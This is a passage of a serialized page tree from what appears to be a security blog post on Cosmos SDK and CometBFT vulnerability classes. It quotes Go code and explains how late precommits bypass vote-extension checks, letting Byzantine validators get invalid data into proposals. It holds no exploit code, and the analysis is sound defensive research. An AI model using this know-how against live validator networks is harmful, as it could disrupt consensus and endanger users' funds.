err",{"type":23,"tag":230,"props":84468,"children":84469},{"style":268},[84470],{"type":29,"value":271},{"type":23,"tag":230,"props":84472,"children":84473},{"style":262},[84474],{"type":29,"value":83035},{"type":23,"tag":230,"props":84476,"children":84477},{"style":274},[84478],{"type":29,"value":312},{"type":23,"tag":230,"props":84480,"children":84481},{"style":262},[84482],{"type":29,"value":84483},"bankKeeper",{"type":23,"tag":230,"props":84485,"children":84486},{"style":274},[84487],{"type":29,"value":312},{"type":23,"tag":230,"props":84489,"children":84490},{"style":294},[84491],{"type":29,"value":83422},{"type":23,"tag":230,"props":84493,"children":84494},{"style":274},[84495],{"type":29,"value":619},{"type":23,"tag":230,"props":84497,"children":84498},{"class":232,"line":5058},[84499,84503],{"type":23,"tag":230,"props":84500,"children":84501},{"style":262},[84502],{"type":29,"value":28493},{"type":23,"tag":230,"props":84504,"children":84505},{"style":274},[84506],{"type":29,"value":388},{"type":23,"tag":230,"props":84508,"children":84509},{"class":232,"line":26228},[84510,84515,84519,84524],{"type":23,"tag":230,"props":84511,"children":84512},{"style":262},[84513],{"type":29,"value":84514},"        types",{"type":23,"tag":230,"props":84516,"children":84517},{"style":274},[84518],{"type":29,"value":312},{"type":23,"tag":230,"props":84520,"children":84521},{"style":262},[84522],{"type":29,"value":84523},"ModuleName",{"type":23,"tag":230,"props":84525,"children":84526},{"style":274},[84527],{"type":29,"value":388},{"type":23,"tag":230,"props":84529,"children":84530},{"class":232,"line":34574},[84531,84535],{"type":23,"tag":230,"props":84532,"children":84533},{"style":262},[84534],{"type":29,"value":83932},{"type":23,"tag":230,"props":84536,"children":84537},{"style":274},[84538],{"type":29,"value":388},{"type":23,"tag":230,"props":84540,"children":84541},{"class":232,"line":34595},[84542,84547],{"type":23,"tag":230,"props":84543,"children":84544},{"style":262},[84545],{"type":29,"value":84546},"        coins",{"type":23,"tag":230,"props":84548,"children":84549},{"style":274},[84550],{"type":29,"value":388},{"type":23,"tag":230,"props":84552,"children":84553},{"class":232,"line":82730},[84554],{"type":23,"tag":230,"props":84555,"children":84556},{"style":274},[84557],{"type":29,"value":26225},{"type":23,"tag":230,"props":84559,"children":84560},{"class":232,"line":82743},[84561,84565,84569,84573,84577],{"type":23,"tag":230,"props":84562,"children":84563},{"style":866},[84564],{"type":29,"value":1493},{"type":23,"tag":230,"props":84566,"children":84567},{"style":262},[84568],{"type":29,"value":50293},{"type":23,"tag":230,"props":84570,"children":84571},{"style":268},[84572],{"type":29,"value":66162},{"type":23,"tag":230,"props":84574,"children":84575},{"style":256},[84576],{"type":29,"value":83697},{"type":23,"tag":230,"props":84578,"children":84579},{"style":274},[84580],{"type":29,"value":277},{"type":23,"tag":230,"props":84582,"children":84583},{"class":232,"line":82751},[84584,84588,84592,84596,84600,84604,84609,84613,84617],{"type":23,"tag":230,"props":84585,"children":84586},{"style":866},[84587],{"type":29,"value":3554},{"type":23,"tag":230,"props":84589,"children":84590},{"style":262},[84591],{"type":29,"value":84013},{"type":23,"tag":230,"props":84593,"children":84594},{"style":274},[84595],{"type":29,"value":312},{"type":23,"tag":230,"props":84597,"children":84598},{"style":294},[84599],{"type":29,"value":83730},{"type":23,"tag":230,"props":84601,"children":84602},{"style":274},[84603],{"type":29,"value":302},{"type":23,"tag":230,"props":84605,"children":84606},{"style":380},[84607],{"type":29,"value":84608},"\"failed to send coins: %w\"",{"type":23,"tag":230,"props":84610,"children":84611},{"style":274},[84612],{"type":29,"value":684},{"type":23,"tag":230,"props":84614,"children":84615},{"style":262},[84616],{"type":29,"value":50192},{"type":23,"tag":230,"props":84618,"children":84619},{"style":274},[84620],{"type":29,"value":4516},{"type":23,"tag":230,"props":84622,"children":84623},{"class":232,"line":82759},[84624],{"type":23,"tag":230,"props":84625,"children":84626},{"style":274},[84627],{"type":29,"value":1552},{"type":23,"tag":230,"props":84629,"children":84630},{"class":232,"line":82767},[84631],{"type":23,"tag":230,"props":84632,"children":84633},{"style":268},[84634],{"type":29,"value":22654},{"type":23,"tag":230,"props":84636,"children":84637},{"class":232,"line":82807},[84638],{"type":23,"tag":230,"props":84639,"children":84640},{"style":274},[84641],{"type":29,"value":975},{"type":23,"tag":220,"props":84643,"children":84645},{"code":84644,"language":77943,"meta":7,"className":77944,"style":7},"func (k BaseKeeper) SendCoinsFromModuleToAccount(\n ctx context.Context, senderModule string, recipientAddr sdk.AccAddress, amt sdk.Coins,\n) error {\n ...\n if k.BlockedAddr(recipientAddr) {\n  return errorsmod.Wrapf(sdkerrors.ErrUnauthorized, \"%s is not allowed to receive funds\", recipientAddr)\n }\n ...\n}\n",[84646],{"type":23,"tag":71,"props":84647,"children":84648},{"__ignoreMap":7},[84649,84681,84760,84775,84783,84814,84872,84879,84886],{"type":23,"tag":230,"props":84650,"children":84651},{"class":232,"line":233},[84652,84656,84660,84664,84669,84673,84677],{"type":23,"tag":230,"props":84653,"children":84654},{"style":256},[84655],{"type":29,"value":78079},{"type":23,"tag":230,"props":84657,"children":84658},{"style":274},[84659],{"type":29,"value":664},{"type":23,"tag":230,"props":84661,"children":84662},{"style":262},[84663],{"type":29,"value":82907},{"type":23,"tag":230,"props":84665,"children":84666},{"style":676},[84667],{"type":29,"value":84668},"BaseKeeper",{"type":23,"tag":230,"props":84670,"children":84671},{"style":274},[84672],{"type":29,"value":703},{"type":23,"tag":230,"props":84674,"children":84675},{"style":294},[84676],{"type":29,"value":83422},{"type":23,"tag":230,"props":84678,"children":84679},{"style":274},[84680],{"type":29,"value":619},{"type":23,"tag":230,"props":84682,"children":84683},{"class":232,"line":243},[84684,84688,84692,84696,84700,84704,84709,84713,84717,84722,84726,84730,84734,84738,84743,84747,84751,84756],{"type":23,"tag":230,"props":84685,"children":84686},{"style":262},[84687],{"type":29,"value":28150},{"type":23,"tag":230,"props":84689,"children":84690},{"style":676},[84691],{"type":29,"value":78119},{"type":23,"tag":230,"props":84693,"children":84694},{"style":274},[84695],{"type":29,"value":312},{"type":23,"tag":230,"props":84697,"children":84698},{"style":676},[84699],{"type":29,"value":78128},{"type":23,"tag":230,"props":84701,"children":84702},{"style":274},[84703],{"type":29,"value":684},{"type":23,"tag":230,"props":84705,"children":84706},{"style":262},[84707],{"type":29,"value":84708},"senderModule",{"type":23,"tag":230,"props":84710,"children":84711},{"style":676},[84712],{"type":29,"value":679},{"type":23,"tag":230,"props":84714,"children":84715},{"style":274},[84716],{"type":29,"value":684},{"type":23,"tag":230,"props":84718,"children":84719},{"style":262},[84720],{"type":29,"value":84721},"recipientAddr",{"type":23,"tag":230,"props":84723,"children":84724},{"style":676},[84725],{"type":29,"value":80420},{"type":23,"tag":230,"props":84727,"children":84728},{"style":274},[84729],{"type":29,"value":312},{"type":23,"tag":230,"props":84731,"children":84732},{"style":676},[84733],{"type":29,"value":84407},{"type":23,"tag":230,"props":84735,"children":84736},{"style":274},[84737],{"type":29,"value":684},{"type":23,"tag":230,"props":84739,"children":84740},{"style":262},[84741],{"type":29,"value":84742},"amt",{"type":23,"tag":230,"props":84744,"children":84745},{"style":676},[84746],{"type":29,"value":80420},{"type":23,"tag":230,"props":84748,"children":84749},{"style":274},[84750],{"type":29,"value":312},{"type":23,"tag":230,"props":84752,"children":84753},{"style":676},[84754],{"type":29,"value":84755},"Coins",{"type":23,"tag":230,"props":84757,"children":84758},{"style":274},[84759],{"type":29,"value":388},{"type":23,"tag":230,"props":84761,"children":84762},{"class":232,"line":252},[84763,84767,84771],{"type":23,"tag":230,"props":84764,"children":84765},{"style":274},[84766],{"type":29,"value":703},{"type":23,"tag":230,"props":84768,"children":84769},{"style":676},[84770],{"type":29,"value":17189},{"type":23,"tag":230,"props":84772,"children":84773},{"style":274},[84774],{"type":29,"value":277},{"type":23,"tag":230,"props":84776,"children":84777},{"class":232,"line":280},[84778],{"type":23,"tag":230,"props":84779,"children":84780},{"style":268},[84781],{"type":29,"value":84782}," ...\n",{"type":23,"tag":230,"props":84784,"children":84785},{"class":232,"line":334},[84786,84790,84794,84798,84802,84806,84810],{"type":23,"tag":230,"props":84787,"children":84788},{"style":866},[84789],{"type":29,"value":18112},{"type":23,"tag":230,"props":84791,"children":84792},{"style":262},[84793],{"type":29,"value":83035},{"type":23,"tag":230,"props":84795,"children":84796},{"style":274},[84797],{"type":29,"value":312},{"type":23,"tag":230,"props":84799,"children":84800},{"style":294},[84801],{"type":29,"value":83438},{"type":23,"tag":230,"props":84803,"children":84804},{"style":274},[84805],{"type":29,"value":302},{"type":23,"tag":230,"props":84807,"children":84808},{"style":262},[84809],{"type":29,"value":84721},{"type":23,"tag":230,"props":84811,"children":84812},{"style":274},[84813],{"type":29,"value":827},{"type":23,"tag":230,"props":84815,"children":84816},{"class":232,"line":371},[84817,84821,84826,84830,84834,84838,84842,84846,84851,84855,84860,84864,84868],{"type":23,"tag":230,"props":84818,"children":84819},{"style":866},[84820],{"type":29,"value":3903},{"type":23,"tag":230,"props":84822,"children":84823},{"style":262},[84824],{"type":29,"value":84825}," errorsmod",{"type":23,"tag":230,"props":84827,"children":84828},{"style":274},[84829],{"type":29,"value":312},{"type":23,"tag":230,"props":84831,"children":84832},{"style":294},[84833],{"type":29,"value":82689},{"type":23,"tag":230,"props":84835,"children":84836},{"style":274},[84837],{"type":29,"value":302},{"type":23,"tag":230,"props":84839,"children":84840},{"style":262},[84841],{"type":29,"value":82351},{"type":23,"tag":230,"props":84843,"children":84844},{"style":274},[84845],{"type":29,"value":312},{"type":23,"tag":230,"props":84847,"children":84848},{"style":262},[84849],{"type":29,"value":84850},"ErrUnauthorized",{"type":23,"tag":230,"props":84852,"children":84853},{"style":274},[84854],{"type":29,"value":684},{"type":23,"tag":230,"props":84856,"children":84857},{"style":380},[84858],{"type":29,"value":84859},"\"%s is not allowed to receive funds\"",{"type":23,"tag":230,"props":84861,"children":84862},{"style":274},[84863],{"type":29,"value":684},{"type":23,"tag":230,"props":84865,"children":84866},{"style":262},[84867],{"type":29,"value":84721},{"type":23,"tag":230,"props":84869,"children":84870},{"style":274},[84871],{"type":29,"value":4516},{"type":23,"tag":230,"props":84873,"children":84874},{"class":232,"line":391},[84875],{"type":23,"tag":230,"props":84876,"children":84877},{"style":274},[84878],{"type":29,"value":11927},{"type":23,"tag":230,"props":84880,"children":84881},{"class":232,"line":400},[84882],{"type":23,"tag":230,"props":84883,"children":84884},{"style":268},[84885],{"type":29,"value":84782},{"type":23,"tag":230,"props":84887,"children":84888},{"class":232,"line":444},[84889],{"type":23,"tag":230,"props":84890,"children":84891},{"style":274},[84892],{"type":29,"value":975},{"type":23,"tag":32,"props":84894,"children":84895},{},[84896,84898,84905],{"type":29,"value":84897},"This shows even well-known bug classes still resurface from time to time due to unforeseen invariant violations. Additional examples include ",{"type":23,"tag":181,"props":84899,"children":84902},{"href":84900,"rel":84901},"https://hackerone.com/reports/3018307",[185],[84903],{"type":29,"value":84904},"improper decimal handling in the group module",{"type":29,"value":312},{"type":23,"tag":24,"props":84907,"children":84909},{"id":84908},"same-same-but-different",[84910],{"type":29,"value":84911},"Same, Same... But Different",{"type":23,"tag":32,"props":84913,"children":84914},{},[84915,84917,84923,84924,84930,84931,84937,84938,84944],{"type":29,"value":84916},"Cosmos exposes several consensus-level interfaces, such as ",{"type":23,"tag":71,"props":84918,"children":84920},{"className":84919},[],[84921],{"type":29,"value":84922},"PrepareProposal",{"type":29,"value":684},{"type":23,"tag":71,"props":84925,"children":84927},{"className":84926},[],[84928],{"type":29,"value":84929},"ProcessProposal",{"type":29,"value":684},{"type":23,"tag":71,"props":84932,"children":84934},{"className":84933},[],[84935],{"type":29,"value":84936},"ExtendVote",{"type":29,"value":8824},{"type":23,"tag":71,"props":84939,"children":84941},{"className":84940},[],[84942],{"type":29,"value":84943},"VerifyVoteExtension",{"type":29,"value":84945},". These ABCI methods allow developers to customize how blocks are constructed, as well as inject supplementary data into each block.",{"type":23,"tag":32,"props":84947,"children":84948},{},[84949],{"type":29,"value":84950},"Two of the best-known attack surfaces are",{"type":23,"tag":144,"props":84952,"children":84953},{},[84954,84983],{"type":23,"tag":102,"props":84955,"children":84956},{},[84957,84962,84963,84968,84970,84975,84976,84981],{"type":23,"tag":71,"props":84958,"children":84960},{"className":84959},[],[84961],{"type":29,"value":84922},{"type":29,"value":664},{"type":23,"tag":71,"props":84964,"children":84966},{"className":84965},[],[84967],{"type":29,"value":84936},{"type":29,"value":84969},") outputs being rejected due to ",{"type":23,"tag":71,"props":84971,"children":84973},{"className":84972},[],[84974],{"type":29,"value":84929},{"type":29,"value":664},{"type":23,"tag":71,"props":84977,"children":84979},{"className":84978},[],[84980],{"type":29,"value":84943},{"type":29,"value":84982},") over-validating, resulting in liveness failures.",{"type":23,"tag":102,"props":84984,"children":84985},{},[84986,84988,84993,84994,84999,85001,85006,85007,85012],{"type":29,"value":84987},"Malicious proposals and vote extensions not created through the ",{"type":23,"tag":71,"props":84989,"children":84991},{"className":84990},[],[84992],{"type":29,"value":84922},{"type":29,"value":664},{"type":23,"tag":71,"props":84995,"children":84997},{"className":84996},[],[84998],{"type":29,"value":84936},{"type":29,"value":85000},") are accepted due to ",{"type":23,"tag":71,"props":85002,"children":85004},{"className":85003},[],[85005],{"type":29,"value":84929},{"type":29,"value":664},{"type":23,"tag":71,"props":85008,"children":85010},{"className":85009},[],[85011],{"type":29,"value":84943},{"type":29,"value":85013},") under-validating.",{"type":23,"tag":32,"props":85015,"children":85016},{},[85017],{"type":29,"value":85018},"In essence, any difference in pairs of handlers will likely lead to security issues.",{"type":23,"tag":32,"props":85020,"children":85021},{},[85022,85024,85030,85032,85037],{"type":29,"value":85023},"There are also a few lesser known variants of these issues. One instance is the validation of ",{"type":23,"tag":71,"props":85025,"children":85027},{"className":85026},[],[85028],{"type":29,"value":85029},"VoteExtensions",{"type":29,"value":85031}," within ",{"type":23,"tag":71,"props":85033,"children":85035},{"className":85034},[],[85036],{"type":29,"value":84922},{"type":29,"value":85038},". To provide context, we start with a primer on the CometBTF consensus and vote extensions.",{"type":23,"tag":32,"props":85040,"children":85041},{},[85042,85044,85049,85051,85056],{"type":29,"value":85043},"Consensus starts with a leader creating a proposal and then broadcasting it to each validator. Validators then proceed to vote on whether or not to accept the proposal. During the voting phase, ",{"type":23,"tag":71,"props":85045,"children":85047},{"className":85046},[],[85048],{"type":29,"value":84936},{"type":29,"value":85050}," is called to attach additional data to the votes. Once a validator collects enough valid votes that pass ",{"type":23,"tag":71,"props":85052,"children":85054},{"className":85053},[],[85055],{"type":29,"value":84943},{"type":29,"value":85057},", a proposal is considered accepted and can be committed. After committing the proposal, a new leader starts to create the next proposal, bringing us back to the point where we started.",{"type":23,"tag":32,"props":85059,"children":85060},{},[85061,85063,85068],{"type":29,"value":85062},"So, where are the attached vote extension data used? It turns out a leader should include the vote extensions of the previous consensus round in its proposal. It might be tempting to conclude that all vote extensions an honest leader accepted have passed the ",{"type":23,"tag":71,"props":85064,"children":85066},{"className":85065},[],[85067],{"type":29,"value":84943},{"type":29,"value":85069}," check and are therefore valid. Thus, we can directly inject all vote extensions into our proposal.",{"type":23,"tag":32,"props":85071,"children":85072},{},[85073,85075,85080,85082,85088],{"type":29,"value":85074},"Unfortunately, CometBTF directly accepts late precommits without passing them through ",{"type":23,"tag":71,"props":85076,"children":85078},{"className":85077},[],[85079],{"type":29,"value":84943},{"type":29,"value":85081},". This exposes a time window where Byzantine validators can smuggle malicious vote into the next leader's cache, luring the leader into including invalid vote extensions into its ",{"type":23,"tag":71,"props":85083,"children":85085},{"className":85084},[],[85086],{"type":29,"value":85087},"Proposal",{"type":29,"value":312},{"type":23,"tag":220,"props":85090,"children":85092},{"code":85091,"language":77943,"meta":7,"className":77944,"style":7},"func (cs *State) addVote(vote *types.Vote, peerID p2p.ID) (added bool, err error) {\n    ...\n\n    // A precommit for the previous height?\n    // These come in while we wait timeoutCommit\n    if vote.Height+1 == cs.Height && vote.Type == types.PrecommitType {\n        ...\n        // Late precommits are not checked by VerifyVoteExtension\n        added, err = cs.LastCommit.AddVote(vote)\n        ...\n        return added, err\n    }\n    extEnabled := cs.state.ConsensusParams.Feature.VoteExtensionsEnabled(vote.Height)\n    if extEnabled {\n        ...\n        if vote.Type == types.PrecommitType && !vote.BlockID.IsNil() &&\n            !bytes.Equal(vote.ValidatorAddress, myAddr) { // Skip the VerifyVoteExtension call if the vote was issued by this validator.\n            ...\n            err := cs.blockExec.VerifyVoteExtension(context.TODO(), vote)\n            ...\n        }\n    } else if {\n        ...\n    }\n    ...\n}\n",[85093],{"type":23,"tag":71,"props":85094,"children":85095},{"__ignoreMap":7},[85096,85208,85215,85222,85230,85238,85322,85329,85337,85391,85398,85419,85426,85498,85514,85521,85595,85651,85658,85720,85727,85734,85753,85760,85767,85774],{"type":23,"tag":230,"props":85097,"children":85098},{"class":232,"line":233},[85099,85103,85107,85112,85116,85121,85125,85130,85134,85139,85143,85147,85151,85156,85160,85165,85170,85174,85179,85183,85188,85192,85196,85200,85204],{"type":23,"tag":230,"props":85100,"children":85101},{"style":256},[85102],{"type":29,"value":78079},{"type":23,"tag":230,"props":85104,"children":85105},{"style":274},[85106],{"type":29,"value":664},{"type":23,"tag":230,"props":85108,"children":85109},{"style":262},[85110],{"type":29,"value":85111},"cs ",{"type":23,"tag":230,"props":85113,"children":85114},{"style":268},[85115],{"type":29,"value":6909},{"type":23,"tag":230,"props":85117,"children":85118},{"style":676},[85119],{"type":29,"value":85120},"State",{"type":23,"tag":230,"props":85122,"children":85123},{"style":274},[85124],{"type":29,"value":703},{"type":23,"tag":230,"props":85126,"children":85127},{"style":294},[85128],{"type":29,"value":85129},"addVote",{"type":23,"tag":230,"props":85131,"children":85132},{"style":274},[85133],{"type":29,"value":302},{"type":23,"tag":230,"props":85135,"children":85136},{"style":262},[85137],{"type":29,"value":85138},"vote",{"type":23,"tag":230,"props":85140,"children":85141},{"style":268},[85142],{"type":29,"value":12147},{"type":23,"tag":230,"props":85144,"children":85145},{"style":676},[85146],{"type":29,"value":8095},{"type":23,"tag":230,"props":85148,"children":85149},{"style":274},[85150],{"type":29,"value":312},{"type":23,"tag":230,"props":85152,"children":85153},{"style":676},[85154],{"type":29,"value":85155},"Vote",{"type":23,"tag":230,"props":85157,"children":85158},{"style":274},[85159],{"type":29,"value":684},{"type":23,"tag":230,"props":85161,"children":85162},{"style":262},[85163],{"type":29,"value":85164},"peerID",{"type":23,"tag":230,"props":85166,"children":85167},{"style":676},[85168],{"type":29,"value":85169}," p2p",{"type":23,"tag":230,"props":85171,"children":85172},{"style":274},[85173],{"type":29,"value":312},{"type":23,"tag":230,"props":85175,"children":85176},{"style":676},[85177],{"type":29,"value":85178},"ID",{"type":23,"tag":230,"props":85180,"children":85181},{"style":274},[85182],{"type":29,"value":78161},{"type":23,"tag":230,"props":85184,"children":85185},{"style":262},[85186],{"type":29,"value":85187},"added",{"type":23,"tag":230,"props":85189,"children":85190},{"style":676},[85191],{"type":29,"value":14381},{"type":23,"tag":230,"props":85193,"children":85194},{"style":274},[85195],{"type":29,"value":684},{"type":23,"tag":230,"props":85197,"children":85198},{"style":262},[85199],{"type":29,"value":50192},{"type":23,"tag":230,"props":85201,"children":85202},{"style":676},[85203],{"type":29,"value":17202},{"type":23,"tag":230,"props":85205,"children":85206},{"style":274},[85207],{"type":29,"value":827},{"type":23,"tag":230,"props":85209,"children":85210},{"class":232,"line":243},[85211],{"type":23,"tag":230,"props":85212,"children":85213},{"style":268},[85214],{"type":29,"value":22654},{"type":23,"tag":230,"props":85216,"children":85217},{"class":232,"line":252},[85218],{"type":23,"tag":230,"props":85219,"children":85220},{"emptyLinePlaceholder":18},[85221],{"type":29,"value":459},{"type":23,"tag":230,"props":85223,"children":85224},{"class":232,"line":280},[85225],{"type":23,"tag":230,"props":85226,"children":85227},{"style":237},[85228],{"type":29,"value":85229},"    // A precommit for the previous height?\n",{"type":23,"tag":230,"props":85231,"children":85232},{"class":232,"line":334},[85233],{"type":23,"tag":230,"props":85234,"children":85235},{"style":237},[85236],{"type":29,"value":85237},"    // These come in while we wait timeoutCommit\n",{"type":23,"tag":230,"props":85239,"children":85240},{"class":232,"line":371},[85241,85245,85250,85254,85259,85263,85267,85271,85276,85280,85284,85288,85292,85296,85301,85305,85309,85313,85318],{"type":23,"tag":230,"props":85242,"children":85243},{"style":866},[85244],{"type":29,"value":1493},{"type":23,"tag":230,"props":85246,"children":85247},{"style":262},[85248],{"type":29,"value":85249}," vote",{"type":23,"tag":230,"props":85251,"children":85252},{"style":274},[85253],{"type":29,"value":312},{"type":23,"tag":230,"props":85255,"children":85256},{"style":262},[85257],{"type":29,"value":85258},"Height",{"type":23,"tag":230,"props":85260,"children":85261},{"style":268},[85262],{"type":29,"value":6719},{"type":23,"tag":230,"props":85264,"children":85265},{"style":5149},[85266],{"type":29,"value":6348},{"type":23,"tag":230,"props":85268,"children":85269},{"style":268},[85270],{"type":29,"value":5621},{"type":23,"tag":230,"props":85272,"children":85273},{"style":262},[85274],{"type":29,"value":85275}," cs",{"type":23,"tag":230,"props":85277,"children":85278},{"style":274},[85279],{"type":29,"value":312},{"type":23,"tag":230,"props":85281,"children":85282},{"style":262},[85283],{"type":29,"value":85258},{"type":23,"tag":230,"props":85285,"children":85286},{"style":268},[85287],{"type":29,"value":16512},{"type":23,"tag":230,"props":85289,"children":85290},{"style":262},[85291],{"type":29,"value":85249},{"type":23,"tag":230,"props":85293,"children":85294},{"style":274},[85295],{"type":29,"value":312},{"type":23,"tag":230,"props":85297,"children":85298},{"style":262},[85299],{"type":29,"value":85300},"Type",{"type":23,"tag":230,"props":85302,"children":85303},{"style":268},[85304],{"type":29,"value":5621},{"type":23,"tag":230,"props":85306,"children":85307},{"style":262},[85308],{"type":29,"value":79954},{"type":23,"tag":230,"props":85310,"children":85311},{"style":274},[85312],{"type":29,"value":312},{"type":23,"tag":230,"props":85314,"children":85315},{"style":262},[85316],{"type":29,"value":85317},"PrecommitType",{"type":23,"tag":230,"props":85319,"children":85320},{"style":274},[85321],{"type":29,"value":277},{"type":23,"tag":230,"props":85323,"children":85324},{"class":232,"line":391},[85325],{"type":23,"tag":230,"props":85326,"children":85327},{"style":268},[85328],{"type":29,"value":83621},{"type":23,"tag":230,"props":85330,"children":85331},{"class":232,"line":400},[85332],{"type":23,"tag":230,"props":85333,"children":85334},{"style":237},[85335],{"type":29,"value":85336},"        // Late precommits are not checked by VerifyVoteExtension\n",{"type":23,"tag":230,"props":85338,"children":85339},{"class":232,"line":444},[85340,85345,85349,85353,85357,85361,85365,85370,85374,85379,85383,85387],{"type":23,"tag":230,"props":85341,"children":85342},{"style":262},[85343],{"type":29,"value":85344},"        added",{"type":23,"tag":230,"props":85346,"children":85347},{"style":274},[85348],{"type":29,"value":684},{"type":23,"tag":230,"props":85350,"children":85351},{"style":262},[85352],{"type":29,"value":50192},{"type":23,"tag":230,"props":85354,"children":85355},{"style":268},[85356],{"type":29,"value":271},{"type":23,"tag":230,"props":85358,"children":85359},{"style":262},[85360],{"type":29,"value":85275},{"type":23,"tag":230,"props":85362,"children":85363},{"style":274},[85364],{"type":29,"value":312},{"type":23,"tag":230,"props":85366,"children":85367},{"style":262},[85368],{"type":29,"value":85369},"LastCommit",{"type":23,"tag":230,"props":85371,"children":85372},{"style":274},[85373],{"type":29,"value":312},{"type":23,"tag":230,"props":85375,"children":85376},{"style":294},[85377],{"type":29,"value":85378},"AddVote",{"type":23,"tag":230,"props":85380,"children":85381},{"style":274},[85382],{"type":29,"value":302},{"type":23,"tag":230,"props":85384,"children":85385},{"style":262},[85386],{"type":29,"value":85138},{"type":23,"tag":230,"props":85388,"children":85389},{"style":274},[85390],{"type":29,"value":4516},{"type":23,"tag":230,"props":85392,"children":85393},{"class":232,"line":453},[85394],{"type":23,"tag":230,"props":85395,"children":85396},{"style":268},[85397],{"type":29,"value":83621},{"type":23,"tag":230,"props":85399,"children":85400},{"class":232,"line":462},[85401,85405,85410,85414],{"type":23,"tag":230,"props":85402,"children":85403},{"style":866},[85404],{"type":29,"value":3554},{"type":23,"tag":230,"props":85406,"children":85407},{"style":262},[85408],{"type":29,"value":85409}," added",{"type":23,"tag":230,"props":85411,"children":85412},{"style":274},[85413],{"type":29,"value":684},{"type":23,"tag":230,"props":85415,"children":85416},{"style":262},[85417],{"type":29,"value":85418},"err\n",{"type":23,"tag":230,"props":85420,"children":85421},{"class":232,"line":471},[85422],{"type":23,"tag":230,"props":85423,"children":85424},{"style":274},[85425],{"type":29,"value":1552},{"type":23,"tag":230,"props":85427,"children":85428},{"class":232,"line":500},[85429,85434,85438,85442,85446,85451,85455,85460,85464,85469,85473,85478,85482,85486,85490,85494],{"type":23,"tag":230,"props":85430,"children":85431},{"style":262},[85432],{"type":29,"value":85433},"    extEnabled",{"type":23,"tag":230,"props":85435,"children":85436},{"style":268},[85437],{"type":29,"value":78195},{"type":23,"tag":230,"props":85439,"children":85440},{"style":262},[85441],{"type":29,"value":85275},{"type":23,"tag":230,"props":85443,"children":85444},{"style":274},[85445],{"type":29,"value":312},{"type":23,"tag":230,"props":85447,"children":85448},{"style":262},[85449],{"type":29,"value":85450},"state",{"type":23,"tag":230,"props":85452,"children":85453},{"style":274},[85454],{"type":29,"value":312},{"type":23,"tag":230,"props":85456,"children":85457},{"style":262},[85458],{"type":29,"value":85459},"ConsensusParams",{"type":23,"tag":230,"props":85461,"children":85462},{"style":274},[85463],{"type":29,"value":312},{"type":23,"tag":230,"props":85465,"children":85466},{"style":262},[85467],{"type":29,"value":85468},"Feature",{"type":23,"tag":230,"props":85470,"children":85471},{"style":274},[85472],{"type":29,"value":312},{"type":23,"tag":230,"props":85474,"children":85475},{"style":294},[85476],{"type":29,"value":85477},"VoteExtensionsEnabled",{"type":23,"tag":230,"props":85479,"children":85480},{"style":274},[85481],{"type":29,"value":302},{"type":23,"tag":230,"props":85483,"children":85484},{"style":262},[85485],{"type":29,"value":85138},{"type":23,"tag":230,"props":85487,"children":85488},{"style":274},[85489],{"type":29,"value":312},{"type":23,"tag":230,"props":85491,"children":85492},{"style":262},[85493],{"type":29,"value":85258},{"type":23,"tag":230,"props":85495,"children":85496},{"style":274},[85497],{"type":29,"value":4516},{"type":23,"tag":230,"props":85499,"children":85500},{"class":232,"line":514},[85501,85505,85510],{"type":23,"tag":230,"props":85502,"children":85503},{"style":866},[85504],{"type":29,"value":1493},{"type":23,"tag":230,"props":85506,"children":85507},{"style":262},[85508],{"type":29,"value":85509}," extEnabled",{"type":23,"tag":230,"props":85511,"children":85512},{"style":274},[85513],{"type":29,"value":277},{"type":23,"tag":230,"props":85515,"children":85516},{"class":232,"line":897},[85517],{"type":23,"tag":230,"props":85518,"children":85519},{"style":268},[85520],{"type":29,"value":83621},{"type":23,"tag":230,"props":85522,"children":85523},{"class":232,"line":960},[85524,85528,85532,85536,85540,85544,85548,85552,85556,85560,85564,85568,85572,85577,85581,85586,85590],{"type":23,"tag":230,"props":85525,"children":85526},{"style":866},[85527],{"type":29,"value":5611},{"type":23,"tag":230,"props":85529,"children":85530},{"style":262},[85531],{"type":29,"value":85249},{"type":23,"tag":230,"props":85533,"children":85534},{"style":274},[85535],{"type":29,"value":312},{"type":23,"tag":230,"props":85537,"children":85538},{"style":262},[85539],{"type":29,"value":85300},{"type":23,"tag":230,"props":85541,"children":85542},{"style":268},[85543],{"type":29,"value":5621},{"type":23,"tag":230,"props":85545,"children":85546},{"style":262},[85547],{"type":29,"value":79954},{"type":23,"tag":230,"props":85549,"children":85550},{"style":274},[85551],{"type":29,"value":312},{"type":23,"tag":230,"props":85553,"children":85554},{"style":262},[85555],{"type":29,"value":85317},{"type":23,"tag":230,"props":85557,"children":85558},{"style":268},[85559],{"type":29,"value":16512},{"type":23,"tag":230,"props":85561,"children":85562},{"style":268},[85563],{"type":29,"value":15193},{"type":23,"tag":230,"props":85565,"children":85566},{"style":262},[85567],{"type":29,"value":85138},{"type":23,"tag":230,"props":85569,"children":85570},{"style":274},[85571],{"type":29,"value":312},{"type":23,"tag":230,"props":85573,"children":85574},{"style":262},[85575],{"type":29,"value":85576},"BlockID",{"type":23,"tag":230,"props":85578,"children":85579},{"style":274},[85580],{"type":29,"value":312},{"type":23,"tag":230,"props":85582,"children":85583},{"style":294},[85584],{"type":29,"value":85585},"IsNil",{"type":23,"tag":230,"props":85587,"children":85588},{"style":274},[85589],{"type":29,"value":16370},{"type":23,"tag":230,"props":85591,"children":85592},{"style":268},[85593],{"type":29,"value":85594},"&&\n",{"type":23,"tag":230,"props":85596,"children":85597},{"class":232,"line":969},[85598,85603,85608,85612,85616,85620,85624,85628,85633,85637,85642,85646],{"type":23,"tag":230,"props":85599,"children":85600},{"style":268},[85601],{"type":29,"value":85602},"            !",{"type":23,"tag":230,"props":85604,"children":85605},{"style":262},[85606],{"type":29,"value":85607},"bytes",{"type":23,"tag":230,"props":85609,"children":85610},{"style":274},[85611],{"type":29,"value":312},{"type":23,"tag":230,"props":85613,"children":85614},{"style":294},[85615],{"type":29,"value":84077},{"type":23,"tag":230,"props":85617,"children":85618},{"style":274},[85619],{"type":29,"value":302},{"type":23,"tag":230,"props":85621,"children":85622},{"style":262},[85623],{"type":29,"value":85138},{"type":23,"tag":230,"props":85625,"children":85626},{"style":274},[85627],{"type":29,"value":312},{"type":23,"tag":230,"props":85629,"children":85630},{"style":262},[85631],{"type":29,"value":85632},"ValidatorAddress",{"type":23,"tag":230,"props":85634,"children":85635},{"style":274},[85636],{"type":29,"value":684},{"type":23,"tag":230,"props":85638,"children":85639},{"style":262},[85640],{"type":29,"value":85641},"myAddr",{"type":23,"tag":230,"props":85643,"children":85644},{"style":274},[85645],{"type":29,"value":26295},{"type":23,"tag":230,"props":85647,"children":85648},{"style":237},[85649],{"type":29,"value":85650},"// Skip the 